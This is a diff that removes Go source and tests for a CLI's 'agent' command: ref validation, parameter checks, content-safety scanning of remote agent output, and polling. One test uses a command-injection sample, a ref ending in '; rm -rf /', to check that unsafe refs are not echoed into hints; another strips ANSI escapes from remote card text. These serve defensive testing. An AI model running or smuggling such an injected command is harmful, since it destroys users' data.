-	out := &bytes.Buffer{}
-	printCardPretty(out, card)
-	text := out.String()
-	if strings.Contains(text, "\x1b") {
-		t.Errorf("ANSI sequences in remote card fields must be stripped: %q", text)
-	}
-	if !strings.Contains(text, "Evil Agent") || !strings.Contains(text, "descwipe") {
-		t.Errorf("readable text should remain after stripping, got: %q", text)
-	}
-}
-
-// TestPrintCardPretty_StaticFallsBackToProviderLabel pins that a static card
-// (no dynamic Name) renders its ProviderLabel as the header.
-func TestPrintCardPretty_StaticFallsBackToProviderLabel(t *testing.T) {
-	card := &iagent.AgentCard{
-		Provider:      "demo",
-		ProviderLabel: "demo 自定义智能体",
-		AgentID:       "agt_demo",
-	}
-	out := &bytes.Buffer{}
-	printCardPretty(out, card)
-	if !strings.Contains(out.String(), "demo 自定义智能体 (agt_demo)") {
-		t.Errorf("should fall back to ProviderLabel when Name is empty, got:\n%s", out.String())
-	}
-}
-
-// TestAgentCardRun_InvalidRef surfaces a malformed ref as a validation error
-// before any provider is built.
-func TestAgentCardRun_InvalidRef(t *testing.T) {
-	opts, _ := cardTestOpts(t, "no-colon")
-	if err := agentCardRun(opts); err == nil {
-		t.Fatal("malformed ref should error")
-	}
-}
-
-// TestNewCmdAgentCard_ReadRiskAndArgs pins ExactArgs(1), read risk, and the
-// presence of --format and --as flags.
-func TestNewCmdAgentCard_ReadRiskAndArgs(t *testing.T) {
-	cmd := NewCmdAgentCard(nil)
-	if level, ok := cmdutil.GetRisk(cmd); !ok || level != cmdutil.RiskRead {
-		t.Errorf("agent card should be marked read risk, got level=%q ok=%v", level, ok)
-	}
-	if err := cmd.Args(cmd, []string{}); err == nil {
-		t.Error("agent card missing ref should report an argument error (ExactArgs 1)")
-	}
-	if err := cmd.Args(cmd, []string{"example:x"}); err != nil {
-		t.Errorf("agent card with a single ref should be valid: %v", err)
-	}
-	fl := cmd.Flags().Lookup("format")
-	if fl == nil {
-		t.Fatal("agent card should have a --format flag")
-	}
-	// Default output format is unified: card default flips from pretty to json.
-	if fl.DefValue != "json" {
-		t.Errorf("card --format default should flip to json, got %q", fl.DefValue)
-	}
-	if cmd.Flags().Lookup("as") == nil {
-		t.Error("agent card should have an --as flag")
-	}
-}

cmd/agent/common.go

@@ -1,355 +0,0 @@
-// Copyright (c) 2026 Lark Technologies Pte. Ltd.
-// SPDX-License-Identifier: MIT
-
-// Package agent implements the `agent` command tree: a provider-agnostic
-// surface over remote A2A agents. This file holds the shared
-// command-layer helpers: ref→provider resolution, --param validation against a
-// Card, success-envelope emission, capability gating, and wait/watch polling.
-package agent
-
-import (
-	"context"
-	"errors"
-	"fmt"
-	"io"
-	"strings"
-	"time"
-
-	"github.com/spf13/cobra"
-
-	"github.com/larksuite/cli/errs"
-	iagent "github.com/larksuite/cli/internal/agent"
-	"github.com/larksuite/cli/internal/cmdutil"
-	"github.com/larksuite/cli/internal/core"
-	"github.com/larksuite/cli/internal/output"
-)
-
-// supportedIdentities is the identity whitelist enforced for every agent
-// command; provider cards advertise (a subset of) the same set.
-var supportedIdentities = []string{string(core.AsUser), string(core.AsBot)}
-
-// sleep is the package-level, test-injectable backoff sleep. It blocks for d or
-// until ctx is done, returning true if the full duration elapsed and false if
-// ctx was canceled first. Tests swap it for a no-op.
-var sleep = func(ctx context.Context, d time.Duration) bool {
-	t := time.NewTimer(d)
-	defer t.Stop()
-	select {
-	case <-t.C:
-		return true
-	case <-ctx.Done():
-		return false
-	}
-}
-
-// resolveSpec is the fully-offline resolution path: it resolves the effective
-// identity, enforces the user|bot whitelist, and looks up the AgentSpec
-// addressed by ref — WITHOUT constructing a client or touching the network. It
-// is the FIRST step of every verb, so a malformed ref, an unknown scheme /
-// unknown catalog id, AND a capability gate all surface at exit 2 BEFORE the
-// config gate — an unconfigured user still gets the precise error, not
-// not_configured. A real API verb then calls runtimeFor to build the client.
-func resolveSpec(f *cmdutil.Factory, cmd *cobra.Command, ref, asStr string) (iagent.Provider, *iagent.AgentSpec, string, core.Identity, error) {
-	id := f.ResolveAs(cmd.Context(), cmd, core.Identity(asStr))
-	if err := f.CheckIdentity(id, supportedIdentities); err != nil {
-		return iagent.Provider{}, nil, "", "", err
-	}
-	prov, spec, agentID, err := iagent.LookupSpec(ref)
-	if err != nil {
-		// ParseRef / unknown-scheme / unknown-id errors carry the validation
-		// wording; promote them to a typed validation error (with a recovery hint)
-		// so RunE never returns a bare error and the exit code / subtype are stable.
-		return iagent.Provider{}, nil, "", "", wrapRefResolveError(err)
-	}
-	return prov, spec, agentID, id, nil
-}
-
-// runtimeFor builds the identity-pinned Runtime for a verb that actually calls
-// the remote API. It requires a configured client (not_configured / exit 3 here
-// is correct for a real API call). agentID is the resolved agent this call
-// addresses (from the ref), exposed to hooks via rt.AgentID().
-func runtimeFor(f *cmdutil.Factory, id core.Identity, agentID string) (iagent.Runtime, error) {
-	apiClient, err := f.NewAPIClient()
-	if err != nil {
-		return nil, err
-	}
-	return &cmdRuntime{client: apiClient, as: id, agentID: agentID}, nil
-}
-
-// wrapRefResolveError promotes a ParseRef / provider-resolution error to a
-// validation typed error (subtype invalid_argument, exit 2) and attaches the
-// recovery hint keyed to the failure mode: a malformed ref (no ':' / empty
-// half — matched via the ErrInvalidRef sentinel) teaches the <scheme>:<agent_id>
-// shape; an unknown scheme points at `agent list` to discover the available
-// providers. Both hints are copy-pasteable next steps, not just wording.
-func wrapRefResolveError(err error) error {
-	// LookupSpec's unknown-catalog-id case is ALREADY a typed validation error
-	// carrying a scheme-scoped hint (`agent list <scheme>`); pass it through
-	// instead of flattening it via err.Error() and overwriting that hint with the
-	// generic provider-list one. Only the untyped ParseRef sentinel / unknown-
-	// scheme errors need wrapping.
-	if _, ok := errs.ProblemOf(err); ok {
-		return err
-	}
-	e := errs.NewValidationError(errs.SubtypeInvalidArgument, "%s", err.Error()).WithCause(err)
-	if errors.Is(err, iagent.ErrInvalidRef) {
-		return e.WithHint("agent_ref 形如 <scheme>:<agent_id>，如 example:echo")
-	}
-	return e.WithHint("用 lark-cli agent list 查看可用 provider")
-}
-
-// cardHint builds the "check the agent card" hint. The ref is user-echoed
-// input: when it passes the safeNextRef whitelist the hint carries the
-// copy-pasteable command; otherwise it degrades to plain guidance without any
-// interpolated command (a ref containing spaces would make the command
-// non-copy-pasteable, and the hint is what an AI copies verbatim).
-func cardHint(ref, what string) string {
-	if safeNextRef(ref) {
-		return fmt.Sprintf("运行 lark-cli agent card %s 查看%s", ref, what)
-	}
-	return fmt.Sprintf("查看该 agent 的能力卡片（agent card 命令）确认%s", what)
-}
-
-// parseAndValidateParams parses `key=value` --param pairs and validates them
-// against the card's Parameters declaration: every Required parameter must be
-// present, and every provided key must be declared (an undeclared key
-// would otherwise be silently dropped by the provider). A pair without '=' (or
-// an empty key), a missing required parameter, or an unknown key returns a
-// validation typed error (subtype invalid_argument, param "param:<key>")
-// whose hint points at `agent card <ref>`. A nil card skips both
-// card-driven checks.
-func parseAndValidateParams(kvs []string, card *iagent.AgentCard, ref string) (map[string]string, error) {
-	m := make(map[string]string, len(kvs))
-	for _, kv := range kvs {
-		k, v, ok := strings.Cut(kv, "=")
-		if !ok || k == "" {
-			return nil, errs.NewValidationError(errs.SubtypeInvalidArgument,
-				"--param 格式应为 key=value，得到 %q", kv).
-				WithParam("--param").
-				WithHint("以 --param key=value 形式重发")
-		}
-		m[k] = v
-	}
-	if card != nil {
-		declared := make(map[string]bool, len(card.Parameters))
-		for _, p := range card.Parameters {
-			declared[p.Name] = true
-		}
-		// Unknown keys are checked in input order so the reported key is
-		// deterministic when several are undeclared.
-		for _, kv := range kvs {
-			k, _, _ := strings.Cut(kv, "=")
-			if !declared[k] {
-				return nil, errs.NewValidationError(errs.SubtypeInvalidArgument,
-					"未知参数 %s（该 agent 未声明此参数）", k).
-					WithParam("param:"+k).
-					WithHint("%s", cardHint(ref, " parameters 声明"))
-			}
-		}
-		for _, p := range card.Parameters {
-			if !p.Required {
-				continue
-			}
-			if _, ok := m[p.Name]; !ok {
-				return nil, errs.NewValidationError(errs.SubtypeInvalidArgument,
-					"缺少必填参数 %s（该 agent 要求）", p.Name).
-					WithParam("param:"+p.Name).
-					WithHint("%s", cardHint(ref, " parameters 声明"))
-			}
-		}
-	}
-	return m, nil
-}
-
-// emitTask writes a task result: the standard success envelope carrying
-// meta.next[] hints for AI callers, or — with format=pretty and no --jq —
-// the key:value human view. Because the agent's messages/artifacts are
-// untrusted external content, the payload is run through content-safety
-// scanning before emission on BOTH paths (and the pretty path additionally
-// ANSI-strips agent text). A --jq expression, when the leaf command registers
-// one, implies structured JSON and filters stdout.
-func emitTask(f *cmdutil.Factory, cmd *cobra.Command, task *iagent.AgentTask, next []output.NextAction, format string) error {
-	out := f.IOStreams.Out
-	errOut := f.IOStreams.ErrOut
-
-	scan := output.ScanForSafety(cmd.CommandPath(), task, errOut)
-	if scan.Blocked {
-		return scan.BlockErr
-	}
-
-	if format == "pretty" && jqExpr(cmd) == "" {
-		if scan.Alert != nil {
-			output.WriteAlertWarning(errOut, scan.Alert)
-		}
-		printTaskPretty(out, task)
-		return nil
-	}
-
-	env := output.Envelope{
-		OK:       true,
-		Identity: string(f.ResolvedIdentity),
-		Data:     task,
-		Notice:   output.GetNotice(),
-	}
-	if len(next) > 0 {
-		env.Meta = &output.Meta{Next: next}
-	}
-	if scan.Alert != nil {
-		env.ContentSafetyAlert = scan.Alert
-	}
-
-	if jq := jqExpr(cmd); jq != "" {
-		if scan.Alert != nil {
-			output.WriteAlertWarning(errOut, scan.Alert)
-		}
-		return output.JqFilter(out, env, jq)
-	}
-	output.PrintJson(out, env)
-	return nil
-}
-
-// scanAndEmitData is the shared scan-then-emit path for the read leaves whose
-// payload now carries untrusted agent-authored text — task list
-// (TaskSummary.Summary), context list, and context get
-// (ContextDetail.ActiveTask.Summary). These used to PrintJson directly and so
-// BYPASSED content-safety; like emitTask they now run output.ScanForSafety on
-// the payload BEFORE emission on every path: a block returns the typed block
-// error, a warn attaches the alert to the JSON envelope (and prints a stderr
-// warning on the pretty / jq paths). data is the Envelope.Data payload (and what
-// is scanned); meta is an optional *output.Meta (list count, nil for a single
-// detail); pretty renders the --format pretty human view and is skipped when a
-// --jq expression forces structured JSON.
-func scanAndEmitData(f *cmdutil.Factory, cmd *cobra.Command, format string, data any, meta *output.Meta, pretty func(io.Writer)) error {
-	out := f.IOStreams.Out
-	errOut := f.IOStreams.ErrOut
-
-	scan := output.ScanForSafety(cmd.CommandPath(), data, errOut)
-	if scan.Blocked {
-		return scan.BlockErr
-	}
-
-	if format == "pretty" && jqExpr(cmd) == "" {
-		if scan.Alert != nil {
-			output.WriteAlertWarning(errOut, scan.Alert)
-		}
-		pretty(out)
-		return nil
-	}
-
-	env := output.Envelope{
-		OK:       true,
-		Identity: string(f.ResolvedIdentity),
-		Data:     data,
-		Meta:     meta,
-		Notice:   output.GetNotice(),
-	}
-	if scan.Alert != nil {
-		env.ContentSafetyAlert = scan.Alert
-	}
-	if jq := jqExpr(cmd); jq != "" {
-		if scan.Alert != nil {
-			output.WriteAlertWarning(errOut, scan.Alert)
-		}
-		return output.JqFilter(out, env, jq)
-	}
-	output.PrintJson(out, env)
-	return nil
-}
-
-// jqExpr reads the --jq flag value if the leaf command registered one; absent
-// otherwise.
-func jqExpr(cmd *cobra.Command) string {
-	if cmd == nil { // options structs built directly in tests may carry no Cmd
-		return ""
-	}
-	if f := cmd.Flags().Lookup("jq"); f != nil {
-		return f.Value.String()
-	}
-	return ""
-}
-
-// capabilityError returns the unsupported_capability validation error (exit 2)
-// used for capability gating: capHuman is the human-facing action (e.g.
-// "task cancel"), capKey the Card capability key (e.g. task_cancel). The hint
-// interpolates ref only when it passes the whitelist (cardHint).
-func capabilityError(ref, capHuman, capKey string) error {
-	return errs.NewValidationError(
-		errs.SubtypeUnsupportedCapability,
-		"agent '%s' 不支持 '%s'（capability %s=false）", ref, capHuman, capKey,
-	).WithHint("%s", cardHint(ref, "支持的能力"))
-}
-
-// normalizeTask derives the redundant IsTerminal flag from State — the single
-// source of truth — the moment a task enters the command layer, so a provider
-// that forgets (or mis-fills) the flag can never skew watch exit codes or an
-// AI caller's stop-polling decision. nil-safe; returns t for call-site chaining.
-func normalizeTask(t *iagent.AgentTask) *iagent.AgentTask {
-	if t != nil {
-		t.IsTerminal = t.State.IsTerminal()
-	}
-	return t
-}
-
-// normalizeTaskSummaries derives IsTerminal from State for every summary (same
-// single-source rule as normalizeTask), returning the slice for chaining.
-func normalizeTaskSummaries(ts []iagent.TaskSummary) []iagent.TaskSummary {
-	for i := range ts {
-		ts[i].IsTerminal = ts[i].State.IsTerminal()
-	}
-	return ts
-}
-
-// pollToStop polls getTask with exponential backoff (1s → 5s cap) until the
-// task hits a stop condition (terminal, input_required, or auth_required)
-// or ctx is done. A timeout is not a failure: it returns the most recent
-// task with a nil error, letting the caller print the current state (exit 0). A
-// provider GetTask error is surfaced. getTask is a bound closure over the
-// resolved spec + runtime (spec.GetTask(ctx, rt, id)), so pollToStop stays
-// provider-neutral and testable.
-func pollToStop(ctx context.Context, getTask func(context.Context, string) (*iagent.AgentTask, error), taskID string) (*iagent.AgentTask, error) {
-	const (
-		initialDelay = time.Second
-		maxDelay     = 5 * time.Second
-	)
-	var last *iagent.AgentTask
-	delay := initialDelay
-	for {
-		task, err := getTask(ctx, taskID)
-		if err != nil {
-			return last, err
-		}
-		last = task
-		if task.State.ShouldStopPolling() {
-			return task, nil
-		}
-		if ctx.Err() != nil {
-			return last, nil //nolint:nilerr // a poll timeout is an observation-window close, not a task failure — return the last task with exit 0
-		}
-		if !sleep(ctx, delay) {
-			// ctx canceled during backoff → observation window closed, not a
-			// task failure.
-			return last, nil
-		}
-		if delay < maxDelay {
-			if delay *= 2; delay > maxDelay {
-				delay = maxDelay
-			}
-		}
-	}
-}
-
-// semanticExitError maps a wait/watch terminal task to the semantic exit code:
-// a non-successful terminal state (failed/rejected/canceled) yields a
-// silent exit-1 signal; any other state (including a successful terminal or a
-// non-terminal stop like input_required) yields nil. A nil task yields nil.
-func semanticExitError(task *iagent.AgentTask) error {
-	if task == nil || !task.IsTerminal {
-		return nil
-	}
-	switch task.State {
-	case iagent.StateFailed, iagent.StateRejected, iagent.StateCanceled:
-		return output.ErrBare(1)
-	default:
-		return nil
-	}
-}

cmd/agent/common_test.go

@@ -1,933 +0,0 @@
-// Copyright (c) 2026 Lark Technologies Pte. Ltd.
-// SPDX-License-Identifier: MIT
-
-package agent
-
-import (
-	"bytes"
-	"context"
-	"encoding/json"
-	"errors"
-	"io"
-	"strings"
-	"testing"
-	"time"
-
-	"github.com/spf13/cobra"
-
-	"github.com/larksuite/cli/errs"
-	extcs "github.com/larksuite/cli/extension/contentsafety"
-	iagent "github.com/larksuite/cli/internal/agent"
-	"github.com/larksuite/cli/internal/cmdutil"
-	"github.com/larksuite/cli/internal/core"
-	"github.com/larksuite/cli/internal/output"
-)
-
-func TestValidateParamsAgainstCard(t *testing.T) {
-	// Card mixes a required and an optional param so both loop branches run:
-	// the optional param must be skipped (the `!p.Required continue` path) while
-	// the required one is still enforced.
-	card := &iagent.AgentCard{Parameters: []iagent.CardParam{
-		{Name: "app_id", Required: true},
-		{Name: "locale", Required: false},
-	}}
-	// missing required
-	if _, err := parseAndValidateParams([]string{}, card, "example:agt_x"); err == nil {
-		t.Error("missing required app_id should error")
-	}
-	// provide required, omit optional: the optional param is skipped and must not error
-	m, err := parseAndValidateParams([]string{"app_id=app_sales"}, card, "example:agt_x")
-	if err != nil || m["app_id"] != "app_sales" {
-		t.Fatalf("should parse app_id and allow omitting optional locale: %v %v", m, err)
-	}
-	if _, ok := m["locale"]; ok {
-		t.Errorf("an optional param that was not provided should not appear in the result: %v", m)
-	}
-	// invalid format
-	if _, err := parseAndValidateParams([]string{"noequals"}, card, "example:agt_x"); err == nil {
-		t.Error("--param without = should error")
-	}
-}
-
-// TestParseParams_ValueWithEquals ensures values may themselves contain '='
-// (only the first '=' splits key from value).
-func TestParseParams_ValueWithEquals(t *testing.T) {
-	card := &iagent.AgentCard{Parameters: []iagent.CardParam{{Name: "filter"}}}
-	m, err := parseAndValidateParams([]string{"filter=a=b"}, card, "example:agt_x")
-	if err != nil {
-		t.Fatalf("a value containing = should not error: %v", err)
-	}
-	if m["filter"] != "a=b" {
-		t.Fatalf("value should preserve =, got %q", m["filter"])
-	}
-}
-
-// TestParseParams_EmptyKey rejects an empty key (leading '=').
-func TestParseParams_EmptyKey(t *testing.T) {
-	if _, err := parseAndValidateParams([]string{"=v"}, &iagent.AgentCard{}, "example:agt_x"); err == nil {
-		t.Error("empty key should error")
-	}
-}
-
-// TestParseParams_UnknownKeyRejected pins that a --param key not declared in the
-// card's Parameters is a validation error (subtype invalid_argument, param
-// "param:<key>") whose hint points at `agent card`; a declared optional key
-// still passes.
-func TestParseParams_UnknownKeyRejected(t *testing.T) {
-	card := &iagent.AgentCard{Parameters: []iagent.CardParam{{Name: "foo"}}}
-	m, err := parseAndValidateParams([]string{"foo=1"}, card, "example:agt_x")
-	if err != nil || m["foo"] != "1" {
-		t.Fatalf("a declared optional param should pass: %v %v", m, err)
-	}
-
-	_, err = parseAndValidateParams([]string{"bar=1"}, card, "example:agt_x")
-	if err == nil {
-		t.Fatal("an undeclared --param should error")
-	}
-	if !errs.IsValidation(err) {
-		t.Fatalf("should be a validation error, got %T", err)
-	}
-	var verr *errs.ValidationError
-	if !errors.As(err, &verr) || verr.Param != "param:bar" {
-		t.Fatalf("param should be param:bar, got %+v", verr)
-	}
-	p, ok := errs.ProblemOf(err)
-	if !ok || p.Subtype != errs.SubtypeInvalidArgument {
-		t.Fatalf("subtype should be invalid_argument, got %+v", p)
-	}
-	if !strings.Contains(p.Hint, "agent card example:agt_x") {
-		t.Fatalf("hint should point to agent card, got %q", p.Hint)
-	}
-}
-
-// TestParseParams_NilCard tolerates a nil card (no required/unknown-param check).
-func TestParseParams_NilCard(t *testing.T) {
-	m, err := parseAndValidateParams([]string{"k=v"}, nil, "example:agt_x")
-	if err != nil || m["k"] != "v" {
-		t.Fatalf("nil card should parse normally: %v %v", m, err)
-	}
-}
-
-// TestParseParams_MissingRequiredIsValidation confirms the missing-required
-// error is a validation typed error with subtype invalid_argument, its param
-// carries the param: prefix, and its hint points at agent card (Task 2 review
-// leftover).
-func TestParseParams_MissingRequiredIsValidation(t *testing.T) {
-	card := &iagent.AgentCard{Parameters: []iagent.CardParam{{Name: "app_id", Required: true}}}
-	_, err := parseAndValidateParams([]string{}, card, "example:agt_x")
-	if err == nil {
-		t.Fatal("missing required should error")
-	}
-	if !errs.IsValidation(err) {
-		t.Fatalf("should be a validation error, got %T", err)
-	}
-	p, _ := errs.ProblemOf(err)
-	if p == nil || p.Subtype != errs.SubtypeInvalidArgument {
-		t.Fatalf("subtype should be invalid_argument, got %+v", p)
-	}
-	var verr *errs.ValidationError
-	if !errors.As(err, &verr) || verr.Param != "param:app_id" {
-		t.Fatalf("param should be param:app_id, got %+v", verr)
-	}
-	if !strings.Contains(p.Hint, "agent card example:agt_x") {
-		t.Fatalf("hint should point to agent card, got %q", p.Hint)
-	}
-}
-
-// TestParseParams_UnsafeRefDegradesHint pins the ref-interpolation whitelist on
-// the hint side: a ref that fails the <charset>:<charset> whitelist must not be
-// echoed into the hint command; the hint degrades to plain guidance instead.
-func TestParseParams_UnsafeRefDegradesHint(t *testing.T) {
-	dirtyRef := "example:agt x; rm -rf /"
-	card := &iagent.AgentCard{Parameters: []iagent.CardParam{{Name: "app_id", Required: true}}}
-
-	_, err := parseAndValidateParams([]string{}, card, dirtyRef)
-	if err == nil {
-		t.Fatal("missing required should error")
-	}
-	p, _ := errs.ProblemOf(err)
-	if p == nil || p.Hint == "" {
-		t.Fatalf("hint should degrade to plain-text guidance rather than be emptied, got %+v", p)
-	}
-	if strings.Contains(p.Hint, dirtyRef) {
-		t.Fatalf("an unsafe ref must not be interpolated into the hint, got %q", p.Hint)
-	}
-
-	// the unknown-param path is handled the same way.
-	_, err = parseAndValidateParams([]string{"app_id=1", "bogus=1"}, card, dirtyRef)
-	if err == nil {
-		t.Fatal("an undeclared param should error")
-	}
-	p, _ = errs.ProblemOf(err)
-	if p == nil || p.Hint == "" || strings.Contains(p.Hint, dirtyRef) {
-		t.Fatalf("unknown-param hint should degrade and not contain the unsafe ref, got %+v", p)
-	}
-}
-
-// TestCapabilityError_UnsafeRefDegradesHint pins the same whitelist on the
-// capability-gate hint: an unsafe ref degrades the hint to plain guidance.
-func TestCapabilityError_UnsafeRefDegradesHint(t *testing.T) {
-	err := capabilityError("example:agt x", "task cancel", iagent.CapTaskCancel)
-	p, ok := errs.ProblemOf(err)
-	if !ok || p.Hint == "" {
-		t.Fatalf("hint should degrade to plain-text guidance rather than be emptied, got %+v", p)
-	}
-	if strings.Contains(p.Hint, "example:agt x") {
-		t.Fatalf("an unsafe ref must not be interpolated into the hint, got %q", p.Hint)
-	}
-}
-
-// TestCapabilityError pins the unsupported_capability contract.
-func TestCapabilityError(t *testing.T) {
-	err := capabilityError("example:agt_xxx", "task cancel", iagent.CapTaskCancel)
-	if err == nil {
-		t.Fatal("should return an error")
-	}
-	if !errs.IsValidation(err) {
-		t.Fatalf("should be a validation error, got %T", err)
-	}
-	p, ok := errs.ProblemOf(err)
-	if !ok || p.Subtype != errs.Subtype("unsupported_capability") {
-		t.Fatalf("subtype should be unsupported_capability, got %+v", p)
-	}
-	if output.ExitCodeOf(err) != output.ExitValidation {
-		t.Fatalf("exit should be %d, got %d", output.ExitValidation, output.ExitCodeOf(err))
-	}
-}
-
-// TestSemanticExitError maps terminal task states to the wait/watch exit code.
-func TestSemanticExitError(t *testing.T) {
-	cases := []struct {
-		state    iagent.TaskState
-		wantExit int
-	}{
-		{iagent.StateCompleted, output.ExitOK},
-		{iagent.StateFailed, 1},
-		{iagent.StateRejected, 1},
-		{iagent.StateCanceled, 1},
-		{iagent.StateInputRequired, output.ExitOK}, // non-terminal, not treated as failure
-		{iagent.StateWorking, output.ExitOK},
-	}
-	for _, c := range cases {
-		task := &iagent.AgentTask{State: c.state, IsTerminal: c.state.IsTerminal()}
-		err := semanticExitError(task)
-		if got := output.ExitCodeOf(err); got != c.wantExit {
-			t.Errorf("state=%s exit expected %d got %d (err=%v)", c.state, c.wantExit, got, err)
-		}
-	}
-	// nil task should not panic and is treated as success
-	if err := semanticExitError(nil); err != nil {
-		t.Errorf("nil task should return nil, got %v", err)
-	}
-}
-
-// fakePollProvider drives pollToStop through a scripted state sequence. getTask
-// is the closure pollToStop takes (spec.GetTask bound to a runtime in
-// production); calls/err stay observable on the struct after the poll.
-type fakePollProvider struct {
-	states []iagent.TaskState
-	calls  int
-	err    error
-}
-
-func (f *fakePollProvider) getTask(ctx context.Context, taskID string) (*iagent.AgentTask, error) {
-	if f.err != nil {
-		return nil, f.err
-	}
-	i := f.calls
-	if i >= len(f.states) {
-		i = len(f.states) - 1
-	}
-	f.calls++
-	s := f.states[i]
-	return &iagent.AgentTask{TaskID: taskID, State: s, IsTerminal: s.IsTerminal()}, nil
-}
-
-// TestPollToStop_ReachesTerminal stops once a terminal state is observed.
-func TestPollToStop_ReachesTerminal(t *testing.T) {
-	restore := swapSleep()
-	defer restore()
-
-	p := &fakePollProvider{states: []iagent.TaskState{iagent.StateWorking, iagent.StateWorking, iagent.StateCompleted}}
-	task, err := pollToStop(context.Background(), p.getTask, "chat_1")
-	if err != nil {
-		t.Fatalf("should not error: %v", err)
-	}
-	if task == nil || task.State != iagent.StateCompleted {
-		t.Fatalf("should stop at completed, got %+v", task)
-	}
-	if p.calls < 3 {
-		t.Fatalf("should poll at least 3 times, got %d", p.calls)
-	}
-}
-
-// TestPollToStop_StopsOnInputRequired treats input_required as a stop point.
-func TestPollToStop_StopsOnInputRequired(t *testing.T) {
-	restore := swapSleep()
-	defer restore()
-
-	p := &fakePollProvider{states: []iagent.TaskState{iagent.StateWorking, iagent.StateInputRequired}}
-	task, err := pollToStop(context.Background(), p.getTask, "chat_1")
-	if err != nil {
-		t.Fatalf("should not error: %v", err)
-	}
-	if task.State != iagent.StateInputRequired {
-		t.Fatalf("should stop at input_required, got %s", task.State)
-	}
-}
-
-// TestPollToStop_ContextTimeoutNotFailure confirms that timeout returns the
-// current task with a nil error (exit 0), not a failure.
-func TestPollToStop_ContextTimeoutNotFailure(t *testing.T) {
-	restore := swapSleep()
-	defer restore()
-
-	ctx, cancel := context.WithCancel(context.Background())
-	cancel() // expire immediately
-	p := &fakePollProvider{states: []iagent.TaskState{iagent.StateWorking}}
-	task, err := pollToStop(ctx, p.getTask, "chat_1")
-	if err != nil {
-		t.Fatalf("timeout should not be treated as failure: %v", err)
-	}
-	if task == nil || task.State != iagent.StateWorking {
-		t.Fatalf("timeout should return the current task, got %+v", task)
-	}
-}
-
-// TestPollToStop_GetTaskError surfaces a provider error.
-func TestPollToStop_GetTaskError(t *testing.T) {
-	restore := swapSleep()
-	defer restore()
-
-	p := &fakePollProvider{states: []iagent.TaskState{iagent.StateWorking}, err: errors.New("boom")}
-	if _, err := pollToStop(context.Background(), p.getTask, "chat_1"); err == nil {
-		t.Fatal("a GetTask error should propagate")
-	}
-}
-
-// swapSleep replaces the package sleep with a no-op for fast tests.
-func swapSleep() func() {
-	orig := sleep
-	sleep = func(context.Context, time.Duration) bool { return true }
-	return func() { sleep = orig }
-}
-
-// swapSleepCapture replaces the package sleep with a no-op that records every
-// backoff duration it was asked to wait, so tests can assert the exponential /
-// clamp schedule. It always returns true (full duration elapsed).
-func swapSleepCapture(delays *[]time.Duration) func() {
-	orig := sleep
-	sleep = func(_ context.Context, d time.Duration) bool {
-		*delays = append(*delays, d)
-		return true
-	}
-	return func() { sleep = orig }
-}
-
-// swapSleepFalseAt replaces the package sleep with a no-op that returns false
-// (as if ctx were canceled during backoff) on the falseCall-th invocation
-// (1-indexed) and true otherwise. Lets tests exercise the sleep-returns-false
-// branch in isolation without racing a real ctx timeout.
-func swapSleepFalseAt(falseCall int) func() {
-	orig := sleep
-	n := 0
-	sleep = func(context.Context, time.Duration) bool {
-		n++
-		return n != falseCall
-	}
-	return func() { sleep = orig }
-}
-
-// TestPollToStop_ClampsDelayToMax drives >=4 backoff rounds so the exponential
-// delay overshoots the 5s cap and the clamp branch (line 179) executes. The
-// captured schedule must never exceed maxDelay and must actually reach it.
-func TestPollToStop_ClampsDelayToMax(t *testing.T) {
-	var delays []time.Duration
-	restore := swapSleepCapture(&delays)
-	defer restore()
-
-	// 5 Working states then Completed: forces backoff 1s,2s,4s,5s(clamped),5s...
-	p := &fakePollProvider{states: []iagent.TaskState{
-		iagent.StateWorking, iagent.StateWorking, iagent.StateWorking,
-		iagent.StateWorking, iagent.StateWorking, iagent.StateCompleted,
-	}}
-	task, err := pollToStop(context.Background(), p.getTask, "chat_1")
-	if err != nil {
-		t.Fatalf("should not error: %v", err)
-	}
-	if task == nil || task.State != iagent.StateCompleted {
-		t.Fatalf("should stop at completed, got %+v", task)
-	}
-	want := []time.Duration{1 * time.Second, 2 * time.Second, 4 * time.Second, 5 * time.Second, 5 * time.Second}
-	if len(delays) != len(want) {
-		t.Fatalf("backoff count should be %d, got %d (%v)", len(want), len(delays), delays)
-	}
-	for i, d := range delays {
-		if d > 5*time.Second {
-			t.Errorf("backoff #%d=%v exceeds the 5s cap", i, d)
-		}
-		if d != want[i] {
-			t.Errorf("backoff #%d expected %v got %v", i, want[i], d)
-		}
-	}
-}
-
-// TestPollToStop_SleepCanceledDuringBackoff isolates the sleep-returns-false
-// branch (lines 173-177): ctx.Err() is still nil when the loop reaches the
-// sleep, but sleep reports the wait was cut short, so pollToStop returns the
-// most recent task with a nil error (not a failure).
-func TestPollToStop_SleepCanceledDuringBackoff(t *testing.T) {
-	restore := swapSleepFalseAt(1) // first backoff sleep is interrupted
-	defer restore()
-
-	p := &fakePollProvider{states: []iagent.TaskState{iagent.StateWorking, iagent.StateCompleted}}
-	task, err := pollToStop(context.Background(), p.getTask, "chat_1")
-	if err != nil {
-		t.Fatalf("an interrupted sleep should not be treated as failure: %v", err)
-	}
-	if task == nil || task.State != iagent.StateWorking {
-		t.Fatalf("should return the working task observed before interruption, got %+v", task)
-	}
-	if p.calls != 1 {
-		t.Fatalf("should not poll again after sleep interruption, expected 1 GetTask call got %d", p.calls)
-	}
-}
-
-// TestJqExpr covers both jqExpr branches: a command with a registered --jq flag
-// returns its value; a command without the flag returns "".
-func TestJqExpr(t *testing.T) {
-	withFlag := &cobra.Command{Use: "get"}
-	withFlag.Flags().String("jq", "", "")
-	if err := withFlag.Flags().Set("jq", ".state"); err != nil {
-		t.Fatal(err)
-	}
-	if got := jqExpr(withFlag); got != ".state" {
-		t.Errorf("with a --jq flag it should return its value, got %q", got)
-	}
-
-	noFlag := &cobra.Command{Use: "list"}
-	if got := jqExpr(noFlag); got != "" {
-		t.Errorf("without a --jq flag it should return empty, got %q", got)
-	}
-}
-
-// newEmitCmd builds a `lark-cli agent <name>` command whose CommandPath() is
-// non-empty (required for content-safety scanning to engage) and optionally
-// registers a --jq flag with the given value.
-func newEmitCmd(name, jq string) *cobra.Command {
-	root := &cobra.Command{Use: "lark-cli"}
-	agentGroup := &cobra.Command{Use: "agent"}
-	leaf := &cobra.Command{Use: name}
-	root.AddCommand(agentGroup)
-	agentGroup.AddCommand(leaf)
-	if jq != "" {
-		leaf.Flags().String("jq", "", "")
-		_ = leaf.Flags().Set("jq", jq)
-	}
-	leaf.SetContext(context.Background())
-	return leaf
-}
-
-// emitFactory returns a Factory writing to fresh out/err buffers.
-func emitFactory() (*cmdutil.Factory, *bytes.Buffer, *bytes.Buffer) {
-	out := &bytes.Buffer{}
-	errOut := &bytes.Buffer{}
